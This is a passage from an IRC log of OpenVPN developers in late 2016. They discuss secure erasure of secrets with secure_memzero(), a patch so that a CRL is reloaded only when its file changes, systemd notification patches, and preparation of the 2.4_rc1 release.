would likewise read that as correct 07:51 <@dazo> syzzer: agreed ... and that is what I want to improve as well ... so that people (when we are not around to review code) will not use CLEAR() when secure_memzero() should be used 07:52 * cron2 repeats the clear-before-use vs. clear-after-use mantra. This is very clear from reading the code if it's "before or after use" 07:52 <@cron2> and if "clear after use" is needed, it needs to be secure_memzero() - otherwise, no clearing is done at all 07:52 <@dazo> we have tried to avoid use of memset() many places in the code (we have deviated a bit from it lately, due to the awaiting secure_memzero()) ... but that we use CLEAR() have been a strong indicator of how things should be done 07:53 <@syzzer> from what I've encountered, we only use memset on arrays 07:53 <@syzzer> because CLEAR() doesn't work there 07:53 <@dazo> right 07:55 <@syzzer> (as a side note, we should make use of "char a[123] = {0}" more, rather than "char a[123]; CLEAR(a);".) 07:55 <@dazo> *that* I do agree to 07:56 <@plaisthos> syzzer: is that guaranteed to set all elements to 0 07:56 <@plaisthos> It looks like setting only the first element 07:56 <@syzzer> plaisthos: no, but it will behave as if is were 07:56 <@syzzer> ah, that way. yes, it's guaranteed. 07:58 <@syzzer> http://stackoverflow.com/questions/11152160/initializing-a-struct-to-0 07:58 <@vpnHelper> Title: c - Initializing a struct to 0 - Stack Overflow (at stackoverflow.com) 07:58 <@ecrist> cron2: pong 07:58 * syzzer runs off to a meeting now 07:59 <@cron2> ecrist: see mail :) - please bump the port to this week's snapshot, so lazy me can have the good stuff without compiling myself 08:00 <@ecrist> is it that you have so many systems? 08:00 <@ecrist> because the update is *super* simple you know 08:00 <@ecrist> you want the snapshot from this past sunday or the upcoming one? 08:00 <@cron2> ecrist: no, I just want to stick to packages for production systems, no locally maintained sources 08:00 <@cron2> past sunday is good enough - that is beta2 already 08:01 <@ecrist> ok, I'll post it in a moment. 08:01 <@cron2> thanks 08:01 <@cron2> (also it means "more exposure, more testers" - so far we've not found that many bugs in beta2, but some have already surfaced) 08:18 <@dazo> syzzer: do you have any idea how large the largest structs we CLEAR() are today? (in terms of bytes) .... running some simple performance tests between malloc, malloc+memset and calloc 08:18 <@cron2> could we please leave CLEAR() alone for 2.4 and focus on the security relevant scrubbing parts? 08:19 <@plaisthos> dazo: if you don't anything with the bytes with a high enough optimization level, all are equal 08:20 <@ecrist> cron2: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=214930 08:20 <@vpnHelper> Title: 214930 security/openvpn-devel: Update to 201647 snapshot (2.4-beta) (at bugs.freebsd.org) 08:20 <@ecrist> submitted 08:20 <@cron2> ecrist: thanks! 08:20 <@plaisthos> if you touch all bytes and the compiles figures that out, all are equal 08:20 <@plaisthos> so you need to test the alloc 2048 bytes, only touch first 100 bytes of it 08:21 <@dazo> plaisthos: ahh, good tip ... I just modified the first byte of it 09:00 <@plaisthos> also speed heavily depnds on the working set :) 09:00 <@plaisthos> http://www.7-cpu.com/cpu/Haswell.html 09:00 <@vpnHelper> Title: Intel Haswell (at www.7-cpu.com) 09:00 <@plaisthos> e.g. fits in l1 cache vs does not fit 09:01 <@plaisthos> a force write of zeros might evict cache lines and make other parts of the code slower, e.g. the function calling you 13:49 <@cron2> eek 13:50 <@cron2> syzzer: poorman needs some additional love 13:50 <@syzzer> cron2: uh-oh 13:50 <@cron2> Nov 29 18:02:24 gentoo tun-udp-p2mp[29366]: Cipher algorithm 'AES-192-CFB' not found 13:50 <@cron2> Nov 29 18:02:24 gentoo tun-udp-p2mp[29366]: Unsupported cipher in --ncp-ciphers: AES-192-CFB 13:50 <@cron2> Nov 29 18:02:24 gentoo tun-udp-p2mp[29366]: Options error: NCP cipher list contains unsupported ciphers. 13:50 <@cron2> ... and *bam* the server dies 13:51 <@syzzer> hm, during nego? 13:51 <@cron2> wait 13:51 <@cron2> CFB is nonsens anyway, where is this coming form... 13:52 <@syzzer> I would expect this message on startup only 13:53 <@cron2> ah 13:53 <@cron2> ok 13:54 <@cron2> I understand why it died now - today was "mbedtls day" so the reference server got recompiled with mbedTLS 2.2.1, and when restarted, it failed to start 13:54 <@cron2> (so sorry for the evening scare, it was NOT a failed client attempt) 13:55 <@syzzer> phew :) 13:56 <@cron2> # poor mans ncp - permit client to use AES-192-CFB 13:56 <@cron2> ncp-ciphers AES-256-GCM:AES-128-GCM:AES-192-CFB 13:56 <@cron2> ok, my own fault 13:57 <@cron2> the openssl build has CFB, the mbedtls only has CBC, and I think that's what I want anyway, CBC... 13:57 <@syzzer> yeah, probably :) 13:58 <@cron2> phew... haven't seen a consistent fail on the t_server set since a while, so this made me a bit nervous... 13:58 <@cron2> (and since it died while I wasn't around, but while the tests were supposed to be run...) 13:58 * syzzer returns to fiddling with windows and CRLs 13:58 <@cron2> :) 14:22 <@vpnHelper> RSS Update - tickets: #779: openvpn --setenv opt segfaults <https://community.openvpn.net/openvpn/ticket/779> 14:29 <@syzzer> gaaaah, who ever decided to hide file extension and how do I make W10 show them... :/ 14:30 <@dazo> lol 14:31 <@syzzer> ok, got that. 14:31 <@syzzer> now, how do I do 'touch ca.crl' on this thing... 14:32 * cron2 wonders if rem >>ca.crl would work 14:33 <@dazo> copy nul ca.crl ? 14:33 <@dazo> (if I still remember my DOS 6.22 tricks) 14:33 <@syzzer> "copy /b ca.crl +,,", of course! 14:33 <@cron2> dazo: that would nicely create an empty file, not touch an existing one... 14:33 <@dazo> ohhmmm 14:33 <@dazo> yeah, right 14:37 <@syzzer> good, code works as intended \o/ 14:41 * cron2 got sidetracked... rPI3 with FreeBSD 12.0-CURRENT / arm64... 14:41 <@dazo> :) 14:42 * syzzer still needs to order a rpi3 too... 14:42 <@cron2> ... this is meant to be a buildslave with a really different architecture... :) 14:49 <@syzzer> so, getting back to the secure_memset thing... 14:49 <@syzzer> snair ACKed my patch in the mean while 14:50 <@syzzer> but I do agree that the CLEAR() name is somewhat misleading 14:50 <@syzzer> so how about giving that a more clear (pun intended) name, like ZERO_INIT()? 14:51 <@cron2> I would be happy if we could agree that this is a somewhat independent discussion, and that *this* patch can go forward. dazo? 14:51 <@cron2> (it has an ACK, but it would not be polite to go forward while dazo has strong reservations) 14:51 <@dazo> Yes, I can fully support that 14:51 <@cron2> cool :) 14:51 <@cron2> merging...! 14:51 <@syzzer> \o/ 14:53 <@cron2> as for renaming CLEAR() to ZERO_INIT() - works for me, but feels a bit... dunno. ZERO_INIT_STRUCT() is even more clear but looong 14:53 <@cron2> (to make it clear "this will not work for strings or arrays") 14:53 <@dazo> I was thinking about ZERO_INIT_STRUCT() myself too 14:54 <@dazo> for the exact same reasoning 14:54 <@syzzer> and incorrect, because fixed-size arrays work fine too 14:54 <@dazo> yeah :/ 14:54 <@cron2> correct 14:54 <@syzzer> no, incorrect :p 14:54 <@dazo> :-P 14:54 * cron2 shakes his head and goes test and merge 14:54 <@syzzer> hehehe 14:54 <@dazo> but, is that a use case we want to encourage? 14:55 <@cron2> ZERO_INIT(anything_of_fixed_size) would work, and "why not?" 14:56 <@syzzer> dazo: good point, but I tend to agree with cron2 14:56 <@dazo> ZERO_INIT_FIXED() :-P 14:56 <@cron2> sounds like there is a ZERO_INIT_BROKEN() around the corner somewhere 14:57 <@syzzer> ZERO_INIT_EX(), where you can supply the size :p 14:57 <@dazo> hehe 14:57 <@cron2> now *that* is fully in line with our coding standards... 14:57 <@cron2> and then there's flags, bit-ored into the size field 14:57 <@dazo> unfortunately :/ 14:57 <@syzzer> :') 14:58 <@dazo> But on a more serious note, I think it is an idea indicating strongly it is for fixed sized buffers 14:58 <@syzzer> at least ZERO_INIT*() will feel wrong when using it to erase secrets after use :) 14:58 <@dazo> +1 14:59 * dazo need to help wife a little bit 15:00 <@syzzer> I could live with ZERO_INIT_STRUCT(), and just using memset for (even fixed-size) arrays 15:00 <@cron2> arry[fixed] = { 0 }; 15:00 <@syzzer> might be the most clear (hehe) approach 15:00 <@cron2> which is obvious... struct something = { 0 }; is correct, but less obviously so 15:01 <@syzzer> cron2: yeah, that's definitely preferred as far as I'm concerned 15:01 <@cron2> syzzer: is there a trac ticket for this (secure_memzero)? 15:02 <@cron2> the commit message doesn't mention it 15:02 <@cron2> oh 15:02 <@cron2> it does :) 15:03 <@dazo> would be good if the commit messages uses: Trac: #num 15:03 <@cron2> that's what I just added 15:03 <@dazo> cool, thx! 15:03 <@syzzer> I'll try to remember to conform to that 15:03 <@cron2> (without the colon, actually, as that's what we have in most cases - is "with :" better?) 15:04 <@dazo> We should place them in the same "meta-data block" as Signed-of-by and so on ... which makes it far easier to parse them later on 15:04 <@dazo> (when we want to map committish with trac tickets and so on) 15:05 <@cron2> I usually have a single line "Trac #nnn" directly before the signed-off-by:, but separated by a blank line 15:05 <@cron2> so, easily visible and parseable 15:05 <@cron2> just tell me whether you want a ":" or not in future :) 15:05 <@dazo> I'd prefer to have it all in the meta-data block with : 15:06 <@dazo> (that's what I used in the very beginning) 15:06 <@cron2> openvpn_encrypt_v1() is really silly... CLEAR(iv) in one branch, memset(&iv, 0...) in the other 15:06 <@dazo> actually, I see now we used "Trac-ticket: #num" 15:07 <@cron2> this is something I've never done :) 15:07 <@dazo> commits are back in 2011-2013 15:07 <@cron2> indeed... 15:07 <@dazo> then it got to Trac: and then "Trac" on a single line 15:08 <@cron2> - CLEAR (A1); 15:08 <@cron2> + secure_memzero (A1, sizeof (A1)); 15:08 <@cron2> this actually does not look right 15:09 <@cron2> everything else has a different level of pointerization in the change 15:10 <@cron2> syzzer: *poke* 15:10 <@cron2> oh 15:10 <@cron2> is that arrays? 15:11 <@cron2> uint8_t A1[MAX_HMAC_KEY_LENGTH]; 15:11 <@cron2> ok, it is 15:12 <@syzzer> yes, that :) 15:12 <@cron2> so it's the same... stupid language, this 15:14 <@vpnHelper> RSS Update - gitrepo: Introduce and use secure_memzero() to erase secrets <https://github.com/OpenVPN/openvpn/commit/009521ac8ae613084b23b9e3e5dc4ebeccd4c6c8> 15:15 <@cron2> just as a side note - #779 - selva found a coredump but that *James* introduced :-) 15:16 * cron2 goes watch TV news and then bed... need sleep 15:36 <@syzzer> good night! 15:43 <@plaisthos> beware of usigned chars! 15:43 <@plaisthos> @rpi3 15:45 <@plaisthos> cron2: the iv is sent via plaintext anyway 15:58 <@cron2> plaisthos: what? 16:02 <@plaisthos> LEAR(iv) 16:02 <@plaisthos> You had that example :) 16:04 <@cron2> plaisthos: well, yes, that was actually the ZERO_INIT() variant (which is now ... iv = {0};) 16:08 <@plaisthos> :) 16:09 <@plaisthos> I think the x = {0} is just strange if you are not used to it 16:09 <@plaisthos> I found the if (pointer) also very unreadable when coming to 16:09 <@plaisthos> C 16:10 <@plaisthos> in good C++ you actually compare again either 0 or nullptr to have type safety 16:10 <@dazo> if (var) can truly have some pitfalls in C ... anything not 0 or not NULL is true 16:12 <@cron2> which is very precisely defined as such 16:13 <@dazo> but strictly speaking any pointers are integers ... so if the address they point at is 0, which is the same as NULL ... so unless you've learnt that, it can truly be confusing in the beginning too 16:13 <@plaisthos> dazo: on stadnard architectures :) 16:13 <@plaisthos> http://stackoverflow.com/questions/7016861/why-are-null-pointers-defined-differently-in-c-and-c 16:14 <@vpnHelper> Title: Why are NULL pointers defined differently in C and C++? - Stack Overflow (at stackoverflow.com) 16:14 <@plaisthos> C++ actually needs nullptr more than C 16:17 <@syzzer> on ARM, 0 can be a valid address (on x86 it can not) 16:18 <@dazo> I've learnt to think of C++ as "a different language which can remind you of C, but really isn't" 16:18 <@dazo> oh, that's wonderful! I was thinking of which arches would allow 0 to be a valid address 17:31 < slypknot> Rainbow arches allow zero as a non address .. 17:31 < slypknot> if the pot of gold isempty :D 17:32 < slypknot> Pot -> ZERO_INIT(*Rainbow) 17:33 < slypknot> sorry .. I just had to do that one :) 23:10 <@mattock> I would guess that most rainbows are just null pointers 23:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 23:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Wed Nov 30 2016 02:51 <@vpnHelper> RSS Update - gitrepo: When parsing '--setenv opt xx ..' make sure a third parameter is present <https://github.com/OpenVPN/openvpn/commit/997795353916ffcb413a2da02dc7f210fd621954> 03:22 <@syzzer> dazo: thinking about the recent systemd patches, could we make sure that having systemd installed on a system does not limit me when I do not want to use systemd? 03:25 <@syzzer> I recall some colleague telling me he had to run openvpn-nl, because upstream openvpn was built with systemd support and therefor didn't work for him anymore 04:26 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 258 seconds] 04:34 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 04:34 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:19 <@dazo> syzzer: hmmm ... yeah, we could look into some runtime options, which would be the alternative ... but it would be good to get some info on what the issues are, so we could fix that 05:20 <@dazo> (I sense it might be related to PKCS#11 stuff ...) 05:39 <@cron2> shall we do a bit of video chat tonight to do pgp key signing? 05:39 <@cron2> (if yes, what software works properly for that on Android or iOS device?) 06:03 <@dazo> I've used appear.in very successfully many times ... free apps for Android/iOS, no sign-up ... and also works with any browsers out-of-the-box with WebRTC support (Firefox, Chrome, Opera, at least) 06:04 <@dazo> otherwise +1 for a video PGP signing party 06:58 < slypknot> Hi, I am almost certain the answer is no but are openvpn passwords hashed at all : https://forums.openvpn.net/viewtopic.php?f=4&t=22904 06:58 <@vpnHelper> Title: Password protection - OpenVPN Support Forum (at forums.openvpn.net) 06:59 < slypknot> I know you can pre-hash a stored password but that is not the question 06:59 < slypknot> and I guess the password is erased frpm memory after use on the server ? 07:00 <@cron2> openvpn doesn't deal in passwords... if a client sends one, it#s passed to the authentication script or plugin, and then (securely!) erased 07:00 <@cron2> no need to store this anywhere 07:00 <@plaisthos> and yes password are transported in plain text 07:00 <@plaisthos> if you don't want that use certificates 07:01 < slypknot> thanks :) 07:01 <@plaisthos> (and optionally tls-crypt if you do want anyone to see the client certificate) 07:01 < slypknot> nice :) 07:02 <@cron2> well, yes. Transmitting hashed passwords will not work with auth backends that need the real password to do their work 07:10 <@dazo> slypknot: I can answer that post if you want 07:11 < slypknot> dazo: sure go for it :) 07:11 < slypknot> and thanks 07:13 <@dazo> yw! 07:51 < slypknot> Here is an odd one - IPv6 server manually configured allows ridiculous --ifconfig-ipv6 parms : https://dpaste.de/1fFH 07:52 < slypknot> the server does work and clients can pass packets 08:01 <@plaisthos> why is that ridicilous? 08:01 <@plaisthos> that is p2p routing configuration 08:03 < slypknot> plaisthos: sure, i understand the p2p bit .. so basically the remote end point can be any *:2 address ? 08:08 <@plaisthos> any address 08:09 <@plaisthos> not limited to :21 08:10 < slypknot> ok thanks 13:03 <@cron2> does anyone understand configure and can/wants to fix this? 13:03 <@cron2> tests/unit_tests/openvpn/Makefile.am:29: warning: source file '$(openvpn_srcdir)/tls_crypt.c' is in a subdirectory, 13:03 <@cron2> tests/unit_tests/openvpn/Makefile.am:29: but option 'subdir-objects' is disabled 13:04 <@cron2> why is it being an annoyance when everything works nicely anyway? 13:04 <@cron2> (even on Solaris!) 13:06 <@dazo> Oh, I've seen this one a long while ago as well .... 13:06 * dazo checks git log 13:06 <@cron2> "like, on every autoreconf -vif" 13:08 <@dazo> http://stackoverflow.com/questions/21609580/autotools-build-fails-due-to-subdir-objects-option-in-am-init-automake#21616628 13:08 <@vpnHelper> Title: autoconf - Autotools build fails due to subdir-objects option in AM_INIT_AUTOMAKE - Stack Overflow (at stackoverflow.com) 13:08 <@dazo> I think this is related to automake version changes 13:08 <@vpnHelper> RSS Update - gitrepo: Force 'def1' method when --redirect-gateway is done through service <https://github.com/OpenVPN/openvpn/commit/788e5e4a08e0df7206d17e9cbc135764d6fc385f> 13:43 <@dazo> cron2: in regards to the --ifconfig-push/--topology subnet check ... what would you prefer most of all? .... 13:43 <@dazo> strncmp(print_in_addr_t(c->c2.push_ifconfig_remote_netmask, 0, gc), "255.", 4) != 0) 13:44 <@cron2> nah, this is ugly 13:44 <@cron2> if we have it in binary anyway, just look at the first byte (and make sure the byte order is right) 13:44 <@dazo> that's what I thought too ... but checking the high 4 bits might be invasive too ... as you need to account for IA_NET_ORDER 13:45 <@dazo> right, I'll take this approach 13:45 <@cron2> 8 bytes :) - and you just do "htonl(...netmask) & 0xff000000 == 0xff000000" and done 13:45 <@cron2> (print it with %x first, to be sure *where* the ff ends up :) ) 13:45 <@dazo> exactly 13:46 <@dazo> okay, I'll spend some time on that later today ... it needs a bit more focus and testing 15:17 <@mattock> uh, I checked my emails 10 hours ago and now I have 50 more in my INBOX from GitHub, Trac and openvpn-devel :P 15:17 <@mattock> we are busy like bees nowadays 16:14 <@plaisthos> cron2: def1 is implemented by Android itself and not by us :) 19:37 <@vpnHelper> RSS Update - tickets: #780: tap-windows-9.21.2.exe driver issue in windows 10 <https://community.openvpn.net/openvpn/ticket/780> 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] --- Day changed Thu Dec 01 2016 02:12 <@cron2> syzzer: CRL v2 is on the list - if you review & ACK soonish, I can merge 02:31 <@vpnHelper> RSS Update - gitrepo: Do not restart dns client service as a part of --register-dns processing <https://github.com/OpenVPN/openvpn/commit/fb56058a98dcc81b34cffbdc46417d672b8926e1> 02:55 <@cron2> surprisingly non-intrusive, that CRL cache patch 02:58 <@cron2> syzzer: I'm not sure I agree with the statement "... using cached CRL" - if stat() works the first time, and fails the second time, we'll try to reload 04:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:28 <@syzzer> meh, router decided to disable IP forwarding after a reboot :/ 04:28 <@syzzer> anyway, back :) 04:30 <@cron2> welcome back :) 04:30 * cron2 repeats his comment fro this morning 04:30 <@cron2> surprisingly non-intrusive, that CRL cache patch 04:30 <@cron2> syzzer: I'm not sure I agree with the statement "... using cached CRL" - if stat() works the first time, and fails the second time, we'll try to reload 04:31 <@syzzer> cron2: yes, very good point. Just replied to your mail. I think the msg() should be followed by a return(). 04:32 <@syzzer> eh, return; 04:32 <@cron2> what does the current code do if the CRL file disappears? 04:32 <@syzzer> reject all new connections 04:32 <@cron2> (it could be an intermediate failure, like someone removing the old file and then copying over the new one - which is not the way to do this, but hey...) 04:33 <@syzzer> putting a return there won't remove the old CRL, it will just not try to load a new one 04:33 <@syzzer> so "keep using the old one" 04:33 <@syzzer> and on startup, we've done the file checks just before executing this code 04:34 <@syzzer> so if the file isn't there, we will have printed a clear error and exited 04:35 <@cron2> ok... could you then send that to the list as well? 04:36 <@syzzer> yes, will do 04:36 < ordex> syzzer: I am here :) do you mind if I use if (platform_stat() < 0) instead of your style ? 04:36 * ordex does not like it :D 04:37 < ordex> I personally don't like the "0 != .. " 04:37 < ordex> and it does not seem to be a style used in the surroundings ;) 04:37 <@syzzer> I don't care. But are you sure that positive values are always okay? 04:38 <@cron2> stat() has no positive return values 04:38 < ordex> the man page for stat() and _wstat() says that 0 is returned on success and -1 on error 04:38 <@syzzer> wstat() neither? 04:38 < ordex> yap 04:38 < ordex> same 04:38 < ordex> https://msdn.microsoft.com/en-us/library/14h5k7ff.aspx 04:38 <@syzzer> (the windows equivalent) 04:38 <@vpnHelper> Title: _stat, _stat32, _stat64, _stati64, _stat32i64, _stat64i32, _wstat, _wstat32, _wstat64, _wstati64, _wstat32i64, _wstat64i32 (at msdn.microsoft.com) 04:38 <@syzzer> ok, good 04:38 < ordex> oky 04:39 <@cron2> ok, so I ditch the already-merged v2 and ordex sends a v3, with the warning + return added, then syzzer ACKs, I merge, and dazo does 2.4_rc1 :-) 04:39 < ordex> :) 04:40 <@syzzer> ordex: s/using/not/ in my last mail... 04:41 < ordex> syzzer: in the warn message ? 04:42 <@syzzer> ordex: indeed 04:44 < ordex> syzzer: "WARNING: Failed to stat CRL file, not cached CRL." << does it sound good to you ? how about "can't cache CRL" ? 04:44 <@syzzer> ordex: sorry, my last mail 04:45 < ordex> oh, got it now. sorry 04:45 <@syzzer> else if (platform_stat(crl_file, &crl_stat) < 0) 04:45 <@syzzer> { 04:45 <@syzzer> msg (M_WARN, "WARNING: Failed to stat CRL file, not (re)loading 04:45 <@syzzer> CRL."); 04:45 <@syzzer> return; 04:45 <@syzzer> } 04:45 < ordex> yeah got it 04:45 < ordex> thanks ! 04:45 <@syzzer> excellent 04:46 -!- Netsplit *.net <-> *.split quits: danhunsaker 04:46 <@cron2> whee 04:46 <@cron2> gpg: new signatures: 7 04:47 <@cron2> (which is like "6 from dazo and 3 from syzzer", but gpg cannot count) 04:49 < ordex> patch is coming ! :] 04:50 -!- Netsplit over, joins: danhunsaker 04:50 <@syzzer> reviewing now... 04:50 <@cron2> mattock: have you signed & uploaded already? 04:53 < ordex> syzzer: thanks ! :) 04:53 < ordex> (for the ACK!) 04:53 <@cron2> ordex: did he tell you what kind of services are expected from you in return? 04:54 < ordex> :D not yet 04:54 < ordex> I signed a white paper 04:54 * ordex is worried about that 04:56 <@cron2> who volunteers a Changes.rst text? 04:59 <@cron2> syzzer, ordex - this is a user-visible change... 04:59 <@syzzer> "OpenVPN now reloads a CRL only if the modication time or file size has changed, instead during eacht new connection. This reduces the connection setup time, in particular when using large CRLs." 05:00 <@cron2> :) 05:00 <@syzzer> somthing like that? 05:00 <@cron2> yes 05:00 <@syzzer> minus typos 05:01 <@cron2> - OpenVPN now reloads a CRL only if the modication time or file size has 05:01 <@cron2> changed, instead of for each new connection. This reduces the connection 05:01 <@cron2> setup time, in particular when using large CRLs. 05:01 <@syzzer> ack 05:01 * ordex likes it 05:04 <@vpnHelper> RSS Update - gitrepo: reload CRL only if file was modified <https://github.com/OpenVPN/openvpn/commit/ce91c187ee0dd73aa4dbe4468181db90403951ce> 05:04 * ordex celebrates! :) 05:05 < ordex> first patch in..eheh. I can have dinner now ;P 05:05 <@cron2> dazo: over to you now. The topology-subnet netmask warning thing can wait until 2.4.1 - minor nice-to-have 05:06 <@syzzer> ordex: it's taken some time, but your contribution has been very useful! 05:06 <@syzzer> also for getting our crl patch in 05:07 < ordex> it was fun :) 05:07 < ordex> next time I'll try to be more responsive ;P 05:28 <@plaisthos> I had one guy who waited 3 months to reply 05:28 <@plaisthos> then I pointed the mistakes in his patch and then I took 2 month or so for a better version, I pointed out small mistakes and then got version that worse than the first 05:29 <@plaisthos> and now nothing happenend for another 6 month 05:32 < ordex> :D 05:32 < ordex> at 9 months something will come out, I am sure ;P 06:18 < ordex> now that 2.4 is getting "stabilized", do you guys branch it off so tha tmaster can be used for new features for the next release ? or what do you usually do ? 06:19 * plaisthos tries to remember what happend three years ago 06:20 <@plaisthos> but yes we will have a branch release/2.4 sometime soon 06:20 <@plaisthos> and master will go back to "experimental" branch 06:20 <@plaisthos> which means more stable and tested than most software's stable branch :p 06:21 < ordex> :D 06:21 <@plaisthos> but before the branch happens we agreed to let syzzer invoke a dark code reformatting ritual 06:24 < ordex> eheh 06:24 < ordex> that's going to be dangerous ! 06:24 < ordex> feels like that is the right move to introduce the so called "last minute bug!" 06:24 < ordex> :D 06:24 * ordex hides 06:30 <@plaisthos> I feel reminded of 2.3 release 06:30 <@plaisthos> where I found a last minute bug and the final 2.3 release contained two important bugfixes 06:30 <@plaisthos> and new site then titled "OpenVPN 2.3 is released with two important bugfixes" 06:31 <@plaisthos> making it sound as if 2.3 was 2.2 + 2 bug fixes 06:32 < eworm> Ah, there is a developer channel... :D So repeating here... 06:32 < eworm> If anybody wants to discuss the systemd patches I sent to the mailing list... Feel free to contact me. 06:33 <@plaisthos> eworm: I think they are fine 06:33 <@dazo> eworm: I'm the upstream dev pushing for improved systemd integration! 06:35 < eworm> plaisthos: Great, thanks! 06:35 < eworm> dazo: So any objections left? 06:36 <@syzzer> eworm: and I'm that guy who is clueless about systemd, but is worried that it will break my non-systemd usage :p 06:36 <@syzzer> (which you nicely explained it will not) 06:36 <@cron2> I'm happy to have lots of systems that are totally systemd-free 06:37 <@dazo> eworm: I don't think so ... I'll run some tests, but I'm slightly reluctant to change Type= once again now right before the 2.4_rc1 release (which I'm going to prepare in a bit) ... the Type=simple (implicit) is quite well tested for 2.4 06:38 <@dazo> So I think it is better to add to 2.5, and rather backport to 2.4.x 06:39 < eworm> dazo: The problem is that it is tested with good config... 06:39 < eworm> Everything starts just fine when the config is ok. 06:39 < eworm> (Though it still reports success too early.) 06:39 <@plaisthos> I would think it is fine for 2.4 06:39 <@dazo> what's a bad config? got some examples? 06:39 <@plaisthos> --stupid-option 06:40 <@dazo> heh 06:40 < eworm> Let me prepare an example 06:40 <@plaisthos> I think we should get that into 2.4 now 06:40 <@dazo> that'd be good ... if the current state is broken with a bad config, and things are better with this new approach ... that favours 2.4_rc1 06:40 <@plaisthos> rather than to figure out mid 2.4 that this need to be in 2.4 and we do a semantic changing change there 06:41 <@dazo> plaisthos: yeah, I can agree to that argument 06:42 <@dazo> uhh .... A migraine is about to hit me now, which means I'll have very limited vision for the next 30-45 minutes ... need to take a break to recover 06:44 <@mattock> dazo: get well 06:46 <@plaisthos> dazo: get well 06:55 < eworm> Sent my mail... 06:56 < eworm> Or read it here: https://gist.github.com/anonymous/9bf52f7046807bdc5352e9145ec55c37 06:56 <@vpnHelper> Title: openvpn.log · GitHub (at gist.github.com) 06:59 < eworm> Type=simple is like fire-and-forget... 06:59 < eworm> I do not think we want that. :-p 07:09 <@cron2> syzzer: I think we need to have some extra type-punned beers at next year's hackathon :-) 07:10 <@syzzer> cron2: C-standard pubquiz! 07:17 * eworm has a meeting now... 07:17 < eworm> Will stay in channel, but read later. 07:38 <@mattock> cron2, dazo: everything set for 2.4_rc1? 07:39 <@mattock> I can start the release machinery at any time 07:39 <@cron2> I'm good 07:39 <@cron2> all done 07:40 <@cron2> (postponed #755 because "not enough brains") 08:01 <@mattock> cron2: I can provide a quick patch to https://community.openvpn.net/openvpn/ticket/610#comment:3 if you guys agree on the approach 08:01 <@vpnHelper> Title: #610 (document restrictions for 2.4 on windows) – OpenVPN Community (at community.openvpn.net) 08:01 <@mattock> last line on my comment 08:02 <@cron2> that's definitely a good thing to start, yes 08:02 <@mattock> there were some places in code comments where Windows XP was mentioned 08:03 <@mattock> not sure if fixing those right now is a high priority 08:03 <@cron2> I'd just leave those alone... there might be cases where the "right fix" is not just to update the comment, but rip out whole "XP-only" code parts 08:03 <@cron2> master-after-branch work 08:05 <@mattock> yep 08:05 <@mattock> the "CAVEATS AND BUGS" section in INSTALL is probably horribly outdated 08:05 <@mattock> like much of the rest of the file :D 08:10 <@mattock> patch sent 08:25 < eworm> Still would like to see the systemd changes as soon as possible... 08:25 < eworm> Any comment on my shell log? 08:29 <@dazo> eworm: just caught up the ML now ... and yes, indeed there are some ugly corner cases here! I was sure I tested that openvpn didn't start when ExecStartPre= failed .... but that might be caused by /bin/sh differences 08:29 <@dazo> eworm: whuch distro are you on? 08:29 < eworm> dazu: ExecStartPre= is something different 08:30 < eworm> that is for "daemon" in configuration only 08:30 < eworm> my second patch "Refuse to daemonize when running from systemd" 08:31 <@dazo> right, I understand what your patch does to --daemon 08:33 <@dazo> ahh, the very first example was a working example 08:33 < eworm> yes, first example was with good config 08:33 < eworm> second was with bad conf (and bad behavior) 08:33 < eworm> third was my code with what I would expect 08:34 < eworm> all this is unrelated to "daemon" 08:34 <@dazo> right ... that you get a heads-up that something failed instantly after trying 'systemctl {start,restart} openvpn@....' 08:36 <@dazo> alright, I'll test your patch now ... and I'll try to get it into 2.4_rc1 08:36 < eworm> great, thanks 08:36 * slypknot is watching .. eworms approach looks sane to me 08:38 <@dazo> slypknot: do you have some time now to test his patch too? 08:38 < slypknot> I can try :) 08:39 < slypknot> may take a while as I don't have good git foo yet 08:39 <@dazo> eworm: slypknot did a tremendous effort in testing these systemd unit files across a lot of distros ... so if he manages to get some testing done too, then I'll be very calm 08:39 < eworm> sure ;) 08:40 < slypknot> I'll just get on with it .. should be able to let you know in a hour or so 08:40 <@dazo> slypknot: okay, refresh your git tree first: git fetch ; git checkout master; git rebase origin/master 08:40 < eworm> What is the oldest systemd we want to support? 08:40 < slypknot> 229 08:40 < eworm> ok, that's no problem 08:40 <@dazo> then pulldown the patch ... from mail ... (with mail headers and everything and save it in a patch file ...... git am $patchfile 08:41 < eworm> sd_notify() was introduced in v209 iirc 08:41 <@dazo> 219 ;-) We go after the oldest RHEL version ... and since systemd first arrived in RHEL7.... 08:41 <@dazo> systemd-219-19.el7_2.13.x86_64 08:41 <@dazo> but sd_notify() is present here 08:42 < eworm> https://github.com/eworm-de/openvpn/commit/98ff0747b6b8ae7bce11bfa14a489146c7a5ebc3.patch 08:42 < eworm> https://github.com/eworm-de/openvpn/commit/2827a687e73b48357b2641e592a0169315680b4f.patch 08:42 <@dazo> ahh even easier 08:43 <@dazo> (when I'm applying ML patches, I do need the ML patch, as we extract some mail header info in our "apply" scripts) 08:43 < slypknot> dazo: runtimedirectory is not supported properly by version older that 228 (as I recall) 08:44 <@dazo> slypknot: nah, I think that was beofre opensuse updated systemd ... I htink they had 208, or something really ancient ... you checkd that it worked after they updated 08:44 < slypknot> kk 08:45 * dazo need to fetch $kid at kindergarten ... will be back in the evening 08:46 <@dazo> mattock: I'll be somewhat delayed this afternoon with preparing the git tree ... due to this systemd stuff ... don't want that in after rc1 08:47 <@dazo> (and due to the unexpected migraine .... luckily I've been working from home today) 08:49 < slypknot> eworm: dazo there are two patches right (1) Use systemd service manager notification (2) Refuse to daemonize when running from systemd 08:51 < eworm> slypknot: Yes 08:51 < slypknot> eworm: thanks :) 08:59 < eworm> slypknot: try with "bad-option" (first patch, systemctl should report error) and "daemon" (second patch, should work in systemd, and daemonize running openvpn directly from command line) in configuration 09:01 <@mattock> dazo: I will be on hold and see if I could start doing the release tasks this evening 09:07 < slypknot> eworm: I cannot apply this patch 